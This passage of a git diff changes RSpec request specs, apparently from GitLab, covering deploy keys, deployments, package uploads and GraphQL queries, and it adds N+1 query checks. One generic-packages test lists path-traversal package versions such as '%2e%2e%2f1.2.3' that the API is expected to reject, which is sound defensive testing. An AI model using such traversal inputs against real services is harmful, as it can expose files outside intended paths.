- let(:project2) { create(:project, creator_id: user.id) }
- let(:deploy_key) { create(:deploy_key, public: true) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:project) { create(:project, creator_id: user.id) }
+ let_it_be(:project2) { create(:project, creator_id: user.id) }
+
+ let(:deploy_key) { create(:deploy_key, public: true) }
let!(:deploy_keys_project) do
create(:deploy_keys_project, project: project, deploy_key: deploy_key)
@@ -44,18 +45,30 @@ RSpec.describe API::DeployKeys do
end
describe 'GET /projects/:id/deploy_keys' do
- before do
- deploy_key
+ let(:deploy_key) { create(:deploy_key, public: true, user: admin) }
+
+ def perform_request
+ get api("/projects/#{project.id}/deploy_keys", admin)
end
it 'returns array of ssh keys' do
- get api("/projects/#{project.id}/deploy_keys", admin)
+ perform_request
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
expect(json_response.first['title']).to eq(deploy_key.title)
end
+
+ it 'returns multiple deploy keys without N + 1' do
+ perform_request
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request }.count
+
+ create(:deploy_key, public: true, projects: [project], user: maintainer)
+
+ expect { perform_request }.not_to exceed_query_limit(control_count)
+ end
end
describe 'GET /projects/:id/deploy_keys/:key_id' do
diff --git a/spec/requests/api/deployments_spec.rb b/spec/requests/api/deployments_spec.rb
index 8113de96ac4..c89c59a2151 100644
--- a/spec/requests/api/deployments_spec.rb
+++ b/spec/requests/api/deployments_spec.rb
@@ -3,22 +3,26 @@
require 'spec_helper'
RSpec.describe API::Deployments do
- let(:user) { create(:user) }
- let(:non_member) { create(:user) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:non_member) { create(:user) }
before do
project.add_maintainer(user)
end
describe 'GET /projects/:id/deployments' do
- let(:project) { create(:project, :repository) }
- let!(:deployment_1) { create(:deployment, :success, project: project, iid: 11, ref: 'master', created_at: Time.now, updated_at: Time.now) }
- let!(:deployment_2) { create(:deployment, :success, project: project, iid: 12, ref: 'master', created_at: 1.day.ago, updated_at: 2.hours.ago) }
- let!(:deployment_3) { create(:deployment, :success, project: project, iid: 8, ref: 'master', created_at: 2.days.ago, updated_at: 1.hour.ago) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:deployment_1) { create(:deployment, :success, project: project, iid: 11, ref: 'master', created_at: Time.now, updated_at: Time.now) }
+ let_it_be(:deployment_2) { create(:deployment, :success, project: project, iid: 12, ref: 'master', created_at: 1.day.ago, updated_at: 2.hours.ago) }
+ let_it_be(:deployment_3) { create(:deployment, :success, project: project, iid: 8, ref: 'master', created_at: 2.days.ago, updated_at: 1.hour.ago) }
+
+ def perform_request(params = {})
+ get api("/projects/#{project.id}/deployments", user), params: params
+ end
context 'as member of the project' do
it 'returns projects deployments sorted by id asc' do
- get api("/projects/#{project.id}/deployments", user)
+ perform_request
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
@@ -32,7 +36,7 @@ RSpec.describe API::Deployments do
context 'with updated_at filters specified' do
it 'returns projects deployments with last update in specified datetime range' do
- get api("/projects/#{project.id}/deployments", user), params: { updated_before: 30.minutes.ago, updated_after: 90.minutes.ago }
+ perform_request({ updated_before: 30.minutes.ago, updated_after: 90.minutes.ago })
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
@@ -42,10 +46,7 @@ RSpec.describe API::Deployments do
context 'with the environment filter specifed' do
it 'returns deployments for the environment' do
- get(
- api("/projects/#{project.id}/deployments", user),
- params: { environment: deployment_1.environment.name }
- )
+ perform_request({ environment: deployment_1.environment.name })
expect(json_response.size).to eq(1)
expect(json_response.first['iid']).to eq(deployment_1.iid)
@@ -86,6 +87,16 @@ RSpec.describe API::Deployments do
end
end
end
+
+ it 'returns multiple deployments without N + 1' do
+ perform_request # warm up the cache
+
+ control_count = ActiveRecord::QueryRecorder.new { perform_request }.count
+
+ create(:deployment, :success, project: project, iid: 21, ref: 'master')
+
+ expect { perform_request }.not_to exceed_query_limit(control_count)
+ end
end
context 'as non member' do
@@ -334,7 +345,7 @@ RSpec.describe API::Deployments do
context 'as a maintainer' do
it 'returns a 403 when updating a deployment with a build' do
- deploy.update(deployable: build)
+ deploy.update!(deployable: build)
put(
api("/projects/#{project.id}/deployments/#{deploy.id}", user),
@@ -383,7 +394,7 @@ RSpec.describe API::Deployments do
end
it 'returns a 403 when updating a deployment with a build' do
- deploy.update(deployable: build)
+ deploy.update!(deployable: build)
put(
api("/projects/#{project.id}/deployments/#{deploy.id}", developer),
diff --git a/spec/requests/api/environments_spec.rb b/spec/requests/api/environments_spec.rb
index 303e510883d..aa1a4643593 100644
--- a/spec/requests/api/environments_spec.rb
+++ b/spec/requests/api/environments_spec.rb
@@ -214,7 +214,7 @@ RSpec.describe API::Environments do
context 'as a maintainer' do
context 'with a stoppable environment' do
before do
- environment.update(state: :available)
+ environment.update!(state: :available)
post api("/projects/#{project.id}/environments/#{environment.id}/stop", user)
end
diff --git a/spec/requests/api/files_spec.rb b/spec/requests/api/files_spec.rb
index 8cd2f00a718..71a4a1a2784 100644
--- a/spec/requests/api/files_spec.rb
+++ b/spec/requests/api/files_spec.rb
@@ -517,6 +517,21 @@ RSpec.describe API::Files do
expect(response).to have_gitlab_http_status(:ok)
end
+ context 'when ref is not provided' do
+ before do
+ stub_application_setting(default_branch_name: 'main')
+ end
+
+ it 'returns response :ok', :aggregate_failures do
+ url = route(file_path) + "/raw"
+ expect(Gitlab::Workhorse).to receive(:send_git_blob)
+
+ get api(url, current_user), params: {}
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
it 'returns raw file info for files with dots' do
url = route('.gitignore') + "/raw"
expect(Gitlab::Workhorse).to receive(:send_git_blob)
diff --git a/spec/requests/api/generic_packages_spec.rb b/spec/requests/api/generic_packages_spec.rb
index 16d56b6cfbe..a5e40eec919 100644
--- a/spec/requests/api/generic_packages_spec.rb
+++ b/spec/requests/api/generic_packages_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe API::GenericPackages do
let_it_be(:project_deploy_token_ro) { create(:project_deploy_token, deploy_token: deploy_token_ro, project: project) }
let_it_be(:deploy_token_wo) { create(:deploy_token, read_package_registry: false, write_package_registry: true) }
let_it_be(:project_deploy_token_wo) { create(:project_deploy_token, deploy_token: deploy_token_wo, project: project) }
+
let(:user) { personal_access_token.user }
let(:ci_build) { create(:ci_build, :running, user: user) }
@@ -326,6 +327,34 @@ RSpec.describe API::GenericPackages do
end
end
end
+
+ context 'different versions' do
+ where(:version, :expected_status) do
+ '1.3.350-20201230123456' | :created
+ '1.2.3' | :created
+ '1.2.3g' | :created
+ '1.2' | :created
+ '1.2.bananas' | :created
+ 'v1.2.4-build' | :created
+ 'd50d836eb3de6177ce6c7a5482f27f9c2c84b672' | :created
+ '..1.2.3' | :bad_request
+ '1.2.3-4/../../' | :bad_request
+ '%2e%2e%2f1.2.3' | :bad_request
+ end
+
+ with_them do
+ let(:expected_package_diff_count) { expected_status == :created ? 1 : 0 }
+ let(:headers) { workhorse_headers.merge(auth_header) }
+
+ subject { upload_file(params, headers, package_version: version) }
+
+ it "returns the #{params[:expected_status]}", :aggregate_failures do
+ expect { subject }.to change { project.packages.generic.count }.by(expected_package_diff_count)
+
+ expect(response).to have_gitlab_http_status(expected_status)
+ end
+ end
+ end
end
end
@@ -418,8 +447,8 @@ RSpec.describe API::GenericPackages do
end
end
- def upload_file(params, request_headers, send_rewritten_field: true, package_name: 'mypackage', file_name: 'myfile.tar.gz')
- url = "/projects/#{project.id}/packages/generic/#{package_name}/0.0.1/#{file_name}"
+ def upload_file(params, request_headers, send_rewritten_field: true, package_name: 'mypackage', package_version: '0.0.1', file_name: 'myfile.tar.gz')
+ url = "/projects/#{project.id}/packages/generic/#{package_name}/#{package_version}/#{file_name}"
workhorse_finalize(
api(url),
diff --git a/spec/requests/api/go_proxy_spec.rb b/spec/requests/api/go_proxy_spec.rb
index d45e24241b2..e678b6cf1c8 100644
--- a/spec/requests/api/go_proxy_spec.rb
+++ b/spec/requests/api/go_proxy_spec.rb
@@ -363,7 +363,7 @@ RSpec.describe API::GoProxy do
let(:module_name) { base }
before do
- project.update(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
end
describe 'GET /projects/:id/packages/go/*module_name/@v/list' do
@@ -412,7 +412,7 @@ RSpec.describe API::GoProxy do
let(:module_name) { base }
before do
- project.update(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
end
describe 'GET /projects/:id/packages/go/*module_name/@v/list' do
diff --git a/spec/requests/api/graphql/ci/groups_spec.rb b/spec/requests/api/graphql/ci/groups_spec.rb
index 9e81358a152..d1a4395d2c9 100644
--- a/spec/requests/api/graphql/ci/groups_spec.rb
+++ b/spec/requests/api/graphql/ci/groups_spec.rb
@@ -4,10 +4,15 @@ require 'spec_helper'
RSpec.describe 'Query.project.pipeline.stages.groups' do
include GraphqlHelpers
- let(:project) { create(:project, :repository, :public) }
- let(:user) { create(:user) }
- let(:pipeline) { create(:ci_pipeline, project: project, user: user) }
- let(:group_graphql_data) { graphql_data.dig('project', 'pipeline', 'stages', 'nodes', 0, 'groups', 'nodes') }
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project, user: user) }
+ let(:group_graphql_data) { graphql_data_at(:project, :pipeline, :stages, :nodes, 0, :groups, :nodes) }
+
+ let_it_be(:ref) { 'master' }
+ let_it_be(:job_a) { create(:commit_status, pipeline: pipeline, name: 'rspec 0 2', ref: ref) }
+ let_it_be(:job_b) { create(:ci_build, pipeline: pipeline, name: 'rspec 0 1', ref: ref) }
+ let_it_be(:job_c) { create(:ci_bridge, pipeline: pipeline, name: 'spinach 0 1', ref: ref) }
let(:params) { {} }
@@ -38,18 +43,15 @@ RSpec.describe 'Query.project.pipeline.stages.groups' do
end
before do
- create(:commit_status, pipeline: pipeline, name: 'rspec 0 2')
- create(:commit_status, pipeline: pipeline, name: 'rspec 0 1')
- create(:commit_status, pipeline: pipeline, name: 'spinach 0 1')
post_graphql(query, current_user: user)
end
it_behaves_like 'a working graphql query'
it 'returns a array of jobs belonging to a pipeline' do
- expect(group_graphql_data.map { |g| g.slice('name', 'size') }).to eq([
- { 'name' => 'rspec', 'size' => 2 },
- { 'name' => 'spinach', 'size' => 1 }
- ])
+ expect(group_graphql_data).to contain_exactly(
+ a_hash_including('name' => 'rspec', 'size' => 2),
+ a_hash_including('name' => 'spinach', 'size' => 1)
+ )
end
end
diff --git a/spec/requests/api/graphql/ci/job_spec.rb b/spec/requests/api/graphql/ci/job_spec.rb
new file mode 100644
index 00000000000..78f7d3e149b
--- /dev/null
+++ b/spec/requests/api/graphql/ci/job_spec.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Query.project(fullPath).pipelines.job(id)' do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create_default(:user) }
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+
+ let_it_be(:prepare_stage) { create(:ci_stage_entity, pipeline: pipeline, project: project, name: 'prepare') }
+ let_it_be(:test_stage) { create(:ci_stage_entity, pipeline: pipeline, project: project, name: 'test') }
+
+ let_it_be(:job_1) { create(:ci_build, pipeline: pipeline, stage: 'prepare', name: 'Job 1') }
+ let_it_be(:job_2) { create(:ci_build, pipeline: pipeline, stage: 'test', name: 'Job 2') }
+ let_it_be(:job_3) { create(:ci_build, pipeline: pipeline, stage: 'test', name: 'Job 3') }
+
+ let(:path_to_job) do
+ [
+ [:project, { full_path: project.full_path }],
+ [:pipelines, { first: 1 }],
+ [:nodes, nil],
+ [:job, { id: global_id_of(job_2) }]
+ ]
+ end
+
+ let(:query) do
+ wrap_fields(query_graphql_path(query_path, all_graphql_fields_for(terminal_type)))
+ end
+
+ describe 'scalar fields' do
+ let(:path) { [:project, :pipelines, :nodes, 0, :job] }
+ let(:query_path) { path_to_job }
+ let(:terminal_type) { 'CiJob' }
+
+ it 'retrieves scalar fields' do
+ post_graphql(query, current_user: user)
+
+ expect(graphql_data_at(*path)).to match a_hash_including(
+ 'id' => global_id_of(job_2),
+ 'name' => job_2.name,
+ 'allowFailure' => job_2.allow_failure,
+ 'duration' => job_2.duration,
+ 'status' => job_2.status.upcase
+ )
+ end
+
+ context 'when fetching by name' do
+ before do
+ query_path.last[1] = { name: job_2.name }
+ end
+
+ it 'retrieves scalar fields' do
+ post_graphql(query, current_user: user)
+
+ expect(graphql_data_at(*path)).to match a_hash_including(
+ 'id' => global_id_of(job_2),
+ 'name' => job_2.name
+ )
+ end
+ end
+ end
+
+ describe '.detailedStatus' do
+ let(:path) { [:project, :pipelines, :nodes, 0, :job, :detailed_status] }
+ let(:query_path) { path_to_job + [:detailed_status] }
+ let(:terminal_type) { 'DetailedStatus' }
+
+ it 'retrieves detailed status' do
+ post_graphql(query, current_user: user)
+
+ expect(graphql_data_at(*path)).to match a_hash_including(
+ 'text' => 'pending',
+ 'label' => 'pending',
+ 'action' => a_hash_including('buttonTitle' => 'Cancel this job', 'icon' => 'cancel')
+ )
+ end
+ end
+
+ describe '.stage' do
+ let(:path) { [:project, :pipelines, :nodes, 0, :job, :stage] }
+ let(:query_path) { path_to_job + [:stage] }
+ let(:terminal_type) { 'CiStage' }
+
+ it 'returns appropriate data' do
+ post_graphql(query, current_user: user)
+
+ expect(graphql_data_at(*path)).to match a_hash_including(
+ 'name' => test_stage.name,
+ 'jobs' => a_hash_including(
+ 'nodes' => contain_exactly(
+ a_hash_including('id' => global_id_of(job_2)),
+ a_hash_including('id' => global_id_of(job_3))
+ )
+ )
+ )
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/custom_emoji_query_spec.rb b/spec/requests/api/graphql/custom_emoji_query_spec.rb
index d5a423d0eba..874357d9eef 100644
--- a/spec/requests/api/graphql/custom_emoji_query_spec.rb
+++ b/spec/requests/api/graphql/custom_emoji_query_spec.rb
@@ -16,7 +16,15 @@ RSpec.describe 'getting custom emoji within namespace' do
describe "Query CustomEmoji on Group" do
def custom_emoji_query(group)
- graphql_query_for('group', 'fullPath' => group.full_path)
+ fields = all_graphql_fields_for('Group')
+ # TODO: Set required timelogs args elsewhere https://gitlab.com/gitlab-org/gitlab/-/issues/325499
+ fields.selection['timelogs(startDate: "2021-03-01" endDate: "2021-03-30")'] = fields.selection.delete('timelogs')
+
+ graphql_query_for(
+ 'group',
+ { fullPath: group.full_path },
+ fields
+ )
end
it 'returns emojis when authorised' do
diff --git a/spec/requests/api/graphql/gitlab_schema_spec.rb b/spec/requests/api/graphql/gitlab_schema_spec.rb
index fe1c7c15de2..b41d851439b 100644
--- a/spec/requests/api/graphql/gitlab_schema_spec.rb
+++ b/spec/requests/api/graphql/gitlab_schema_spec.rb
@@ -125,9 +125,9 @@ RSpec.describe 'GitlabSchema configurations' do
subject do
queries = [
- { query: graphql_query_for('project', { 'fullPath' => '$fullPath' }, %w(id name description)) },
- { query: graphql_query_for('echo', { 'text' => "$test" }, []), variables: { "test" => "Hello world" } },
- { query: graphql_query_for('project', { 'fullPath' => project.full_path }, "userPermissions { createIssue }") }
+ { query: graphql_query_for('project', { 'fullPath' => '$fullPath' }, %w(id name description)) }, # Complexity 4
+ { query: graphql_query_for('echo', { 'text' => "$test" }, []), variables: { "test" => "Hello world" } }, # Complexity 1
+ { query: graphql_query_for('project', { 'fullPath' => project.full_path }, "userPermissions { createIssue }") } # Complexity 3
]
post_multiplex(queries, current_user: current_user)
@@ -139,10 +139,9 @@ RSpec.describe 'GitlabSchema configurations' do
expect(json_response.last['data']['project']).to be_nil
end
- it_behaves_like 'imposing query limits' do
- it 'fails all queries when only one of the queries is too complex' do
- # The `project` query above has a complexity of 5
- allow(GitlabSchema).to receive(:max_query_complexity).and_return 4
+ shared_examples 'query is too complex' do |description, max_complexity|
+ it description, :aggregate_failures do
+ allow(GitlabSchema).to receive(:max_query_complexity).and_return max_complexity
subject
@@ -155,11 +154,17 @@ RSpec.describe 'GitlabSchema configurations' do
# Expect errors for each query
expect(graphql_errors.size).to eq(3)
graphql_errors.each do |single_query_errors|
- expect_graphql_errors_to_include(/which exceeds max complexity of 4/)
+ expect_graphql_errors_to_include(/Query has complexity of 8, which exceeds max complexity of #{max_complexity}/)
end
end
end
+ it_behaves_like 'imposing query limits' do
+ # The total complexity of the multiplex query above is 8
+ it_behaves_like 'query is too complex', 'fails all queries when only one of the queries is too complex', 4
+ it_behaves_like 'query is too complex', 'fails when all queries combined are too complex', 7
+ end
+
context 'authentication' do
let(:current_user) { project.owner }
@@ -191,6 +196,7 @@ RSpec.describe 'GitlabSchema configurations' do
complexity: 181,
depth: 13,
duration_s: 7,
+ operation_name: 'IntrospectionQuery',
used_fields: an_instance_of(Array),
used_deprecated_fields: an_instance_of(Array)
}
diff --git a/spec/requests/api/graphql/group/milestones_spec.rb b/spec/requests/api/graphql/group/milestones_spec.rb
index 380eaea17f8..a5b489d72fd 100644
--- a/spec/requests/api/graphql/group/milestones_spec.rb
+++ b/spec/requests/api/graphql/group/milestones_spec.rb
@@ -9,12 +9,14 @@ RSpec.describe 'Milestones through GroupQuery' do
let_it_be(:now) { Time.now }
describe 'Get list of milestones from a group' do
- let_it_be(:group) { create(:group) }
+ let_it_be(:parent_group) { create(:group) }
+ let_it_be(:group) { create(:group, parent: parent_group) }
let_it_be(:milestone_1) { create(:milestone, group: group) }
let_it_be(:milestone_2) { create(:milestone, group: group, state: :closed, start_date: now, due_date: now + 1.day) }
let_it_be(:milestone_3) { create(:milestone, group: group, start_date: now, due_date: now + 2.days) }
let_it_be(:milestone_4) { create(:milestone, group: group, state: :closed, start_date: now - 2.days, due_date: now - 1.day) }
let_it_be(:milestone_from_other_group) { create(:milestone, group: create(:group)) }
+ let_it_be(:parent_milestone) { create(:milestone, group: parent_group) }
let(:milestone_data) { graphql_data['group']['milestones']['edges'] }
@@ -64,14 +66,32 @@ RSpec.describe 'Milestones through GroupQuery' do
accessible_group.add_developer(user)
end
- it 'returns milestones also from subgroups and subprojects visible to user' do
- fetch_milestones(user, args)
+ context 'when including decendants' do
+ let(:args) { { include_descendants: true } }
+
+ it 'returns milestones also from subgroups and subprojects visible to user' do
+ fetch_milestones(user, args)
+
+ expect_array_response(
+ milestone_1.to_global_id.to_s, milestone_2.to_global_id.to_s,
+ milestone_3.to_global_id.to_s, milestone_4.to_global_id.to_s,
+ submilestone_1.to_global_id.to_s, submilestone_2.to_global_id.to_s
+ )
+ end
+ end
+
+ context 'when including ancestors' do
+ let(:args) { { include_ancestors: true } }
- expect_array_response(
- milestone_1.to_global_id.to_s, milestone_2.to_global_id.to_s,
- milestone_3.to_global_id.to_s, milestone_4.to_global_id.to_s,
- submilestone_1.to_global_id.to_s, submilestone_2.to_global_id.to_s
- )
+ it 'returns milestones from ancestor groups' do
+ fetch_milestones(user, args)
+
+ expect_array_response(
+ milestone_1.to_global_id.to_s, milestone_2.to_global_id.to_s,
+ milestone_3.to_global_id.to_s, milestone_4.to_global_id.to_s,
+ parent_milestone.to_global_id.to_s
+ )
+ end
end
end
diff --git a/spec/requests/api/graphql/group/timelogs_spec.rb b/spec/requests/api/graphql/group/timelogs_spec.rb
new file mode 100644
index 00000000000..6e21a73afa9
--- /dev/null
+++ b/spec/requests/api/graphql/group/timelogs_spec.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Timelogs through GroupQuery' do
+ include GraphqlHelpers
+
+ describe 'Get list of timelogs from a group issues' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+ let_it_be(:milestone) { create(:milestone, group: group) }
+ let_it_be(:issue) { create(:issue, project: project, milestone: milestone) }
+ let_it_be(:timelog1) { create(:timelog, issue: issue, user: user, spent_at: '2019-08-13 14:00:00') }
+ let_it_be(:timelog2) { create(:timelog, issue: issue, user: user, spent_at: '2019-08-10 08:00:00') }
+ let_it_be(:params) { { startTime: '2019-08-10 12:00:00', endTime: '2019-08-21 12:00:00' } }
+
+ let(:timelogs_data) { graphql_data['group']['timelogs']['nodes'] }
+
+ before do
+ group.add_developer(user)
+ end
+
+ context 'when the request is correct' do
+ before do
+ post_graphql(query, current_user: user)
+ end
+
+ it_behaves_like 'a working graphql query'
+
+ it 'returns timelogs successfully' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(graphql_errors).to be_nil
+ expect(timelog_array.size).to eq 1
+ end
+
+ it 'contains correct data', :aggregate_failures do
+ username = timelog_array.map { |data| data['user']['username'] }
+ spent_at = timelog_array.map { |data| data['spentAt'].to_time }
+ time_spent = timelog_array.map { |data| data['timeSpent'] }
+ issue_title = timelog_array.map { |data| data['issue']['title'] }
+ milestone_title = timelog_array.map { |data| data['issue']['milestone']['title'] }
+
+ expect(username).to eq([user.username])
+ expect(spent_at.first).to be_like_time(timelog1.spent_at)
+ expect(time_spent).to eq([timelog1.time_spent])
+ expect(issue_title).to eq([issue.title])
+ expect(milestone_title).to eq([milestone.title])
+ end
+
+ context 'when arguments with no time are present' do
+ let!(:timelog3) { create(:timelog, issue: issue, user: user, spent_at: '2019-08-10 15:00:00') }
+ let!(:timelog4) { create(:timelog, issue: issue, user: user, spent_at: '2019-08-21 15:00:00') }
+ let(:params) { { startDate: '2019-08-10', endDate: '2019-08-21' } }
+
+ it 'sets times as start of day and end of day' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(timelog_array.size).to eq 2
+ end
+ end
+ end
+
+ context 'when requests has errors' do
+ context 'when there are no timelogs present' do
+ before do
+ Timelog.delete_all
+ end
+
+ it 'returns empty result' do
+ post_graphql(query, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(graphql_errors).to be_nil
+ expect(timelogs_data).to be_empty
+ end
+ end
+
+ context 'when user has no permission to read group timelogs' do
+ it 'returns empty result' do
+ guest = create(:user)
+ group.add_guest(guest)
+ post_graphql(query, current_user: guest)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(graphql_errors).to be_nil
+ expect(timelogs_data).to be_empty
+ end
+ end
+ end
+ end
+
+ def timelog_array(extract_attribute = nil)
+ timelogs_data.map do |item|
+ extract_attribute ? item[extract_attribute] : item
+ end
+ end
+
+ def query(timelog_params = params)
+ timelog_nodes = <<~NODE
+ nodes {
+ spentAt
+ timeSpent
+ user {
+ username
+ }
+ issue {
+ title
+ milestone {
+ title
+ }
+ }
+ }
+ NODE
+
+ graphql_query_for(
+ :group,
+ { full_path: group.full_path },
+ query_graphql_field(:timelogs, timelog_params, timelog_nodes)
+ )
+ end
+end
diff --git a/spec/requests/api/graphql/group_query_spec.rb b/spec/requests/api/graphql/group_query_spec.rb
index 391bae4cfcf..8e4f808f794 100644
--- a/spec/requests/api/graphql/group_query_spec.rb
+++ b/spec/requests/api/graphql/group_query_spec.rb
@@ -17,7 +17,15 @@ RSpec.describe 'getting group information' do
# similar to the API "GET /groups/:id"
describe "Query group(fullPath)" do
def group_query(group)
- graphql_query_for('group', 'fullPath' => group.full_path)
+ fields = all_graphql_fields_for('Group')
+ # TODO: Set required timelogs args elsewhere https://gitlab.com/gitlab-org/gitlab/-/issues/325499
+ fields.selection['timelogs(startDate: "2021-03-01" endDate: "2021-03-30")'] = fields.selection.delete('timelogs')
+
+ graphql_query_for(
+ 'group',
+ { fullPath: group.full_path },
+ fields
+ )
end
it_behaves_like 'a working graphql query' do
diff --git a/spec/requests/api/graphql/mutations/boards/issues/issue_move_list_spec.rb b/spec/requests/api/graphql/mutations/boards/issues/issue_move_list_spec.rb
index e24ab0b07f2..46ec22e7ef8 100644
--- a/spec/requests/api/graphql/mutations/boards/issues/issue_move_list_spec.rb
+++ b/spec/requests/api/graphql/mutations/boards/issues/issue_move_list_spec.rb
@@ -21,7 +21,8 @@ RSpec.describe 'Reposition and move issue within board lists' do
let(:mutation_name) { mutation_class.graphql_name }
let(:mutation_result_identifier) { mutation_name.camelize(:lower) }
let(:current_user) { user }
- let(:params) { { board_id: board.to_global_id.to_s, project_path: project.full_path, iid: issue1.iid.to_s } }
+ let(:board_id) { global_id_of(board) }
+ let(:params) { { board_id: board_id, project_path: project.full_path, iid: issue1.iid.to_s } }
let(:issue_move_params) do
{
from_list_id: list1.id,
@@ -34,16 +35,44 @@ RSpec.describe 'Reposition and move issue within board lists' do
end
shared_examples 'returns an error' do
- it 'fails with error' do
- message = "The resource that you are attempting to access does not exist or you don't have "\
- "permission to perform this action"
+ let(:message) do
+ "The resource that you are attempting to access does not exist or you don't have " \
+ "permission to perform this action"
+ end
+ it 'fails with error' do
post_graphql_mutation(mutation(params), current_user: current_user)
expect(graphql_errors).to include(a_hash_including('message' => message))
end
end
+ context 'when the board_id is not a board' do
+ let(:board_id) { global_id_of(project) }
+ let(:issue_move_params) do
+ { move_after_id: existing_issue1.id, move_before_id: existing_issue2.id }
+ end
+
+ it_behaves_like 'returns an error' do
+ let(:message) { include('does not represent an instance of') }
+ end
+ end
+
+ # This test aims to distinguish between the failures to authorize
+ # :read_issue_board and :update_issue
+ context 'when the user cannot read the issue board' do
+ let(:issue_move_params) do
+ { move_after_id: existing_issue1.id, move_before_id: existing_issue2.id }
+ end
+
+ before do
+ allow(Ability).to receive(:allowed?).with(any_args).and_return(true)
+ allow(Ability).to receive(:allowed?).with(current_user, :read_issue_board, board).and_return(false)
+ end
+
+ it_behaves_like 'returns an error'
+ end
+
context 'when user has access to resources' do
context 'when repositioning an issue' do
let(:issue_move_params) { { move_after_id: existing_issue1.id, move_before_id: existing_issue2.id } }
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
index 97873b01338..bcede4d37dd 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
@@ -5,11 +5,12 @@ require 'spec_helper'
RSpec.describe 'Setting assignees of a merge request' do
include GraphqlHelpers
- let(:current_user) { create(:user) }
- let(:merge_request) { create(:merge_request) }
- let(:project) { merge_request.project }
- let(:assignee) { create(:user) }
- let(:assignee2) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:current_user) { create(:user, developer_projects: [project]) }
+ let_it_be(:assignee) { create(:user) }
+ let_it_be(:assignee2) { create(:user) }
+ let_it_be_with_reload(:merge_request) { create(:merge_request, source_project: project) }
+
let(:input) { { assignee_usernames: [assignee.username] } }
let(:expected_result) do
[{ 'username' => assignee.username }]
@@ -44,10 +45,19 @@ RSpec.describe 'Setting assignees of a merge request' do
mutation_response['mergeRequest']['assignees']['nodes']
end
+ def run_mutation!
+ recorder = ActiveRecord::QueryRecorder.new do
+ post_graphql_mutation(mutation, current_user: current_user)
+ end
+
+ expect(recorder.count).to be <= db_query_limit
+ end
+
before do
- project.add_developer(current_user)
project.add_developer(assignee)
project.add_developer(assignee2)
+
+ merge_request.update!(assignees: [])
end
it 'returns an error if the user is not allowed to update the merge request' do
@@ -56,23 +66,29 @@ RSpec.describe 'Setting assignees of a merge request' do
expect(graphql_errors).not_to be_empty
end
- it 'does not allow members without the right permission to add assignees' do
- user = create(:user)
- project.add_guest(user)
+ context 'when the current user does not have permission to add assignees' do
+ let(:current_user) { create(:user) }
+ let(:db_query_limit) { 27 }
- post_graphql_mutation(mutation, current_user: user)
+ it 'does not change the assignees' do
+ project.add_guest(current_user)
- expect(graphql_errors).not_to be_empty
+ expect { run_mutation! }.not_to change { merge_request.reset.assignees.pluck(:id) }
+
+ expect(graphql_errors).not_to be_empty
+ end
end
context 'with assignees already assigned' do
+ let(:db_query_limit) { 39 }
+
before do
merge_request.assignees = [assignee2]
merge_request.save!
end
it 'replaces the assignee' do
- post_graphql_mutation(mutation, current_user: current_user)
+ run_mutation!
expect(response).to have_gitlab_http_status(:success)
expect(mutation_assignee_nodes).to match_array(expected_result)
@@ -80,6 +96,7 @@ RSpec.describe 'Setting assignees of a merge request' do
end
context 'when passing an empty list of assignees' do
+ let(:db_query_limit) { 31 }
let(:input) { { assignee_usernames: [] } }
before do
@@ -88,7 +105,7 @@ RSpec.describe 'Setting assignees of a merge request' do
end
it 'removes assignee' do
- post_graphql_mutation(mutation, current_user: current_user)
+ run_mutation!
expect(response).to have_gitlab_http_status(:success)
expect(mutation_assignee_nodes).to eq([])
@@ -96,7 +113,9 @@ RSpec.describe 'Setting assignees of a merge request' do
end
context 'when passing append as true' do
- let(:input) { { assignee_usernames: [assignee2.username], operation_mode: Types::MutationOperationModeEnum.enum[:append] } }
+ let(:mode) { Types::MutationOperationModeEnum.enum[:append] }
+ let(:input) { { assignee_usernames: [assignee2.username], operation_mode: mode } }
+ let(:db_query_limit) { 20 }
before do
# In CE, APPEND is a NOOP as you can't have multiple assignees
@@ -108,7 +127,7 @@ RSpec.describe 'Setting assignees of a merge request' do
end
it 'does not replace the assignee in CE' do
- post_graphql_mutation(mutation, current_user: current_user)
+ run_mutation!
expect(response).to have_gitlab_http_status(:success)
expect(mutation_assignee_nodes).to match_array(expected_result)
@@ -116,7 +135,9 @@ RSpec.describe 'Setting assignees of a merge request' do
end
context 'when passing remove as true' do
- let(:input) { { assignee_usernames: [assignee.username], operation_mode: Types::MutationOperationModeEnum.enum[:remove] } }
+ let(:db_query_limit) { 31 }
